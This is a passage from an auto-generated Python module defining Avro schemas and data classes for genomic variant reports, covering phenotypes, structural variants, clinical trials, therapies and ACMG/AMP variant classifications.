"reference_hemizigous", "unk", "na"]}, "doc": ""}, {"name": "phaseGenotype", "type": ["null", {"type": "record", "name": "PhaseGenotype", "fields": [{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}}, {"name": "phaseSet", "type": "int"}]}], "doc": ""}, {"name": "sampleVariantAlleleFrequency", "type": ["null", "double"], "doc": ""}, {"name": "depthReference", "type": ["null", "int"], "doc": ""}, {"name": "depthAlternate", "type": ["null", "int"], "doc": ""}, {"name": "numberOfCopies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name": "numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null", "int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant", "paternal_variant", "pedigree_specific_variant", "population_specific_variant", "somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking", "inrepeat"]}}]}]}}, "doc": ""}, {"name": "reportEvents", "type": {"type": "array", "items": {"type": "record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "", "fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array", "items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name": "modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols": ["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted", "monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic", "monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic", "mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type": "array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name": "segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols": ["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", {"type": "enum", "name": "Penetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["complete", "incomplete"]}], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening", "health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name": "demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name": "DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null", {"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""}, {"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "variantClassification", "type": ["null", {"type": "record", "name": "VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null", {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name": "drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name": "traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols": ["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc": ""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name": "TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""}, {"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect", "symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""}, {"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name": "GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification", "type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment", "type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type": "record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline", "population_database_presence", "germline_database_presence", "somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier", "doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name": "ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols": ["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB", "levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc": ""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name": "algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc": ""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null", "int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name": "Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA", "TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain", "symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}, "doc": ""}, {"name": "variantAttributes", "type": ["null", {"type": "record", "name": "VariantAttributes", "doc": "", "fields": [{"name": "genomicChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record", "name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name": "alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc": ""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array", "items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name": "recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null", "float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "reportEvents", "variantAttributes", "variantCalls", "variantCoordinates", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'reportEvents': ReportEvent, 'variantAttributes': VariantAttributes, 'variantCalls': VariantCall, 'variantCoordinates': VariantCoordinates, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'reportEvents': ReportEvent, 'variantAttributes': VariantAttributes, 'variantCalls': VariantCall, 'variantCoordinates': VariantCoordinates, } return embeddedTypes[fieldName] __slots__ = [ 'reportEvents', 'variantAttributes', 'variantCalls', 'variantCoordinates' ] def __init__(self, **kwargs): self.reportEvents = kwargs.get( 'reportEvents', None) self.variantAttributes = kwargs.get( 'variantAttributes', None) self.variantCalls = kwargs.get( 'variantCalls', None) self.variantCoordinates = kwargs.get( 'variantCoordinates', VariantCoordinates()) class SpatialPattern(object): """ No documentation """ DISTAL = "DISTAL" GENERALIZED = "GENERALIZED" LOCALIZED = "LOCALIZED" PROXIMAL = "PROXIMAL" def __hash__(self): return str(self).__hash__() class StandardPhenotype(ProtocolElement): """ Standard phenotype term based on the OBO format (see an example here http://snapshot.geneontology.org/ontology/go-basic.obo) """ _schemaSource = """ {"type": "record", "name": "StandardPhenotype", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "alternativeIds", "comment", "definition", "id", "isA", "matchScore", "name", "namespace", "ontology", "synonyms", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'ontology': Ontology, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'ontology': Ontology, } return embeddedTypes[fieldName] __slots__ = [ 'alternativeIds', 'comment', 'definition', 'id', 'isA', 'matchScore', 'name', 'namespace', 'ontology', 'synonyms' ] def __init__(self, **kwargs): self.alternativeIds = kwargs.get( 'alternativeIds', None) self.comment = kwargs.get( 'comment', None) self.definition = kwargs.get( 'definition', None) self.id = kwargs.get( 'id', None) self.isA = kwargs.get( 'isA', None) self.matchScore = kwargs.get( 'matchScore', None) self.name = kwargs.get( 'name', None) self.namespace = kwargs.get( 'namespace', None) self.ontology = kwargs.get( 'ontology', Ontology()) self.synonyms = kwargs.get( 'synonyms', None) class StructuralVariant(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "StructuralVariant", "namespace": "org.gel.models.report.avro", "fields": [{"name": "variantType", "type": {"type": "enum", "name": "StructuralVariantType", "symbols": ["ins", "dup", "inv", "amplification", "deletion", "dup_tandem", "del_me", "ins_me"]}, "doc": ""}, {"name": "coordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name": "rightInsSeq", "type": ["null", "string"]}, {"name": "reportEvents", "type": {"type": "array", "items": {"type": "record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "", "fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array", "items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name": "modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols": ["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted", "monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic", "monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic", "mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type": "array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name": "segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols": ["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", {"type": "enum", "name": "Penetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["complete", "incomplete"]}], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening", "health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name": "demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name": "DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null", {"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""}, {"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "variantClassification", "type": ["null", {"type": "record", "name": "VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null", {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name": "drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name": "traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols": ["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc": ""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name": "TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""}, {"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect", "symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""}, {"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name": "GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification", "type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment", "type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type": "record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies", "variant_frequencies", "potential_germline", "population_database_presence", "germline_database_presence", "somatic_database_presence", "impact_predictive_software", "pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type": "string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": 